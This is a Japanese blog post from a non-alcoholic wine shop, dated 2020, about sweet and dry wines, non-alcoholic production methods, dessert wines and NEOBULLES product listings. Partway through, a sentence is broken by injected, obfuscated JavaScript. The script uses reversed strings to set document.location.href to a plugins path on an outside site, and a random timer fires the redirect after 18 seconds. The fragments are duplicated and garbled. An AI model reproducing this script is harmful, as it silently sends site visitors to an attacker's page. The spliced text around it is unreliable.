ノンアルコールワインを楽しむ皆様に。

   
2020/4/15 posted

ノンアルコールワイン好きも押さえておきたい、ワインの甘口・辛口について

   

  楽しむ・学ぶ

 

ワインショップなどでワインを買われる際に皆さんが重視されるポイントの一つに、ワインの甘さがあります。
「このワイン、甘くないですよね?甘いワインは嫌なのですが」と質問される方も少なくありません。

今回は、ワインファン、ノンアルコールワインファンの皆さまが気になる「ワインの甘さについて」を取り上げてみました。
甘くないワインの見分け方は?ノンアルコールワインは甘くないの?気になるポイントを解説します。

◇ワインの甘口、辛口の定義とは?

ワインを甘く感じる理由の最も大きな要因は、ワインに含まれている糖分の量です。
では、どのような理由でワインに含まれる糖分に差ができるのでしょう?これには、ワインの製法が深く関係しています。

収穫されたブドウから果汁を搾り取りタンクに詰めると、ブドウの果皮に付着していた酵母がブドウ果汁に含まれる糖分を食べてアルコールを作り出す、いわゆるアルコール発酵が始まります。
ここで糖分がアルコールに代わり切ってしまうまで発酵が行われれば、残糖(発酵後にワインの中に残された糖分のこと)がごく少ない辛口ワインになります。
たとえば、EUが定める基準では、基本は残糖量が4.0g/L以下のワインが辛口ワイン(非発泡性)と定められています。

◇アルコール度数に注目!甘めのワインは低アルコールのなぜ?

甘口・辛口を簡単に判別する基準としては、ワインのアルコール度が一つの目安になります。
通常のスティルワインでアルコール度が13%を超えるようであれば、まず辛口と思ってよいと思います。

赤ワインについては、果皮に含まれる色素やタンニンをしっかり抽出するために、高めの温度でしっかり発酵を進めることが多いため、基本的に残糖の残らない辛口がほとんと思ってよいでしょう。

甘口・辛口の区別がよりはっきりしているのは白ワインです。
フレッシュな果実の味わいを失わないよう低めの温度で発酵させる白ワインは、発酵のコントロールがしやすいため、途中でアルコール発酵を止めて、あえて甘味を残して口当たり良く仕上げることがあります。
目安ですが、アルコール度が10%前後を下回るワインは甘めの場合が多くなります。
甘いワインが苦手という方は、表ラベル・裏ラベルに甘さについての表記がないかチェックしたり、店員さんに確認してから購入するとよいですね。

◇ノンアルコールワインは甘口?辛口?

さて、アルコール度が低めのワインは、残糖が多く甘みが強い傾向があると書きましたが、ではアルコール0%のノンアルコールワインについてはどうなのでしょうか?

ノンアルコールワインの製法を大きく分けると、
・ブドウ果汁を原料にアルコールを発生させないように作る方法
・果汁を一旦アルコール発酵してワインにした後、アルコールを除く方法

の2つに分かれます。
近年はワインは辛口ブームのため、いずれの製法でも甘さは控えめに作られていますが、製造方法により味わいの傾向に違いがあります。

・ブドウ果汁を原料にアルコールを発生させないように作る方法

ブドウ果汁を原料に、渋み、酸味などを添加してワインの味に近づける方法で作るのが、一つ目の製法。
こうして作られるノンアルコールワインは、元々アルコールを一切発生させない製法で製造しているので、アルコールを全く含まないという点で安心です。
ブドウ果汁がベースとなるため、味わいは甘さ控えめのブドウジュースのようで、濃厚な果実味が感じられるものが多いです。

・果汁を一旦アルコール発酵してワインにした後、アルコールを除く方法

一旦ブドウ果汁をアルコール発酵してワインを作り、そこから、逆浸透膜や蒸留など、さまざまな方法でアルコールのみを取り除いた製法です。
一旦アルコール発酵を経るため、発酵に由来する複雑な香りを残しており、ノンアルコールながらもワインらしさにあふれる味わいが特徴です。
また、アルコール発酵の際に果汁に含まれる糖分が消費されるため、ブドウジュースに比べると甘さはずっと少なく、すっきりとした味わいが特徴です。
Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで販売中のデュクドゥモンターニュやヴィンテンス・シリーズをはじめとするネオブリュ社のノンアルコールワインは、こちらのワインからアルコールを除く方法で作られています。

ワインの味わいは糖分だけでなく、香り、酸味など様々な要素が総合して決まりますが、アルコールを発生させない方法で作ったノンアルコールワインは、ベースがブドウ果汁のため、甘さは控えめであるものの、ジュースに近い印象を受ける方が多いようです。
よりワインらしい、すっきりとした味わいを求める方は、ワインからアルコールを除く方法で作られたノンアルコールワインを試してみると良さそうですね。

◇甘口嫌いでも試してほしい!高貴な甘口・デザートワイン

さて、甘口ワインの中でも、あえて最高の甘みを追求して作られた極甘口ワインがあり、デザートワインと呼ばれています。
ブドウの水分を減らし糖度を最大限にあげるための様々な工夫を凝らして作られたこれらのワインは、通常の甘口ワインとは別次元の大変高貴な味わいです。

「甘いワインは苦手」と思われる方も、普段飲んでいるワインとは別ジャンルの飲み物として、あるいはデザート感覚で、一度は試してみてはいかがでしょう。
糖度を上げるための方法別に、4つのデザートワインをご紹介します。

・貴腐ワイン

ブドウの実にボトリティス・シネレアというカビの一種が付くと、ブドウの実のから水分だけが蒸発し、糖分が凝縮した甘い果実が得られることがあります。
これは貴腐ブドウと呼ばれ、世界3大甘口ワインとして知られるフランス「ソーテルヌ」、ハンガリー「トカイ」、ドイツ「トロッケン・ベーレン・アウスレーゼ」はいずれもこのブドウから作られた「貴腐ワイン」と呼ばれる極甘口ワインです。
ブドウが腐らずに貴腐化するには、カビが付くタイミングや気候条件に恵まれる必要があり、また、果汁を得るためには大量の貴腐ブドウを集めなければならないため、貴腐ワインはとても高価。
しかし、とろけるような口当たりや、蜂蜜やマーマレードを思わせる高貴な香りは絶品。一度は試してほしい、キング・オブ・甘口ワインです。

・アイスワイン

ドイツ発祥のアイスワイン。ブドウの糖度を上げるため晩秋まで樹に実らせておいたところ、朝晩の寒さでブドウの水分が凍ってしまい、凍った果実を絞ったところ糖分が凝縮した甘い果汁が取られたところから作られました。
トロリと濃厚な貴腐ワインと比べると、フレッシュで爽やかな味わいが特徴です。
なお、アイスワインという名前でワインを作ることができるのは、ドイツ、オーストリア、カナダの3か国のみに限られています。

・レイトハーベストワイン

レイトハーベストはその名の通り、収穫を遅らせたワイン。
ブドウの糖度を上げるため、木に実らせたまま果実を乾燥させて、水分が蒸発したところで収穫し、果汁を絞ってワインを作ります。
有名なものとしてはフランス・アルザス地方のヴァンダンジュ・タルディヴや、ドイツの格付けワインのシュペトレーゼがあります。

・干しブドウワイン(ストローワイン)

フランスやイタリアの甘口ワインとして知られるのが、干しブドウワイン(ストローワイン)。
収穫したブドウの糖度を上げるため、藁(ストロー)の上で陰干しして作られたところから、ストローワインとも呼ばれます。
有名なものは、フランス・ジュラ地方のヴァン・ド・パイユや、イタリア・トスカーナ州で作られる「聖なるワイン」として知られるヴィン・サント、イタリア・ベネト州のレチョートが知られています。

このように、様々な種類のあるデザートワイン。
普段は辛口ワインが好みという方も、一度は試してみてはいかがでしょうか。

MELLOWは本格ワインのノンアルコールワインをオススメします!

デュク・ドゥ・モンターニュ ブリュット

デュク・ドゥ・モンターニュ ブリュット/750ml

メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
辛口でキレのある口あたり、まろやかな酸味。
アルコール度数 / 
0.0%

よりドライな口当たりのノンアルコール・スパークリングワインが欲しいという声に応える商品。青リンゴとレモンを思わせる爽やかな果実味に、まろやかな酸味。キリッとした口当たりに、爽やかなはじける炭酸。辛口タイプのノンアルコール・スパークリングワインです。

デュク・ドゥ・モンターニュ 製品

デュク・ドゥ・モンターニュ/750ml

カロリー / 
27kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
甘口
アルコール度数 / 
0.0%

ノンアルコールなのに、まるでシャンパンの味。本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。お酒が飲めない方や、妊娠・授乳中の方、ドライバーの方にも安心して楽しんでいただける商品です。

デュク・ドゥ・モンターニュ・ロゼ 製品

デュク・ドゥ・モンターニュ・ロゼ/750ml

カロリー / 
23kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや甘口
アルコール度数 / 
0.0%

本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。ロゼは、輝くようなサーモンピンクの愛らしい色合い。華やかなアロマの香りも豊かなエレガントな商品です。

ヴィンテンス・シャルドネ(白) 製品

ヴィンテンス・シャルドネ(白)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ブルゴーニュ地域を代表する品種のシャルドネを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。シトラスの香りと複雑味のある豊かな味わいをお楽しみいただけます。鶏肉などの白身肉や魚の料理と相性がよいタイプです。

ヴィンテンス・メルロー(赤) 製品

ヴィンテンス・メルロー(赤)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ボルドー地域を代表する品種のメルローを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。フルーティーながらコクがあり、ブルーベリーの風味も感じられます。赤味の肉やチーズと好相性です。

Thanks for your reading!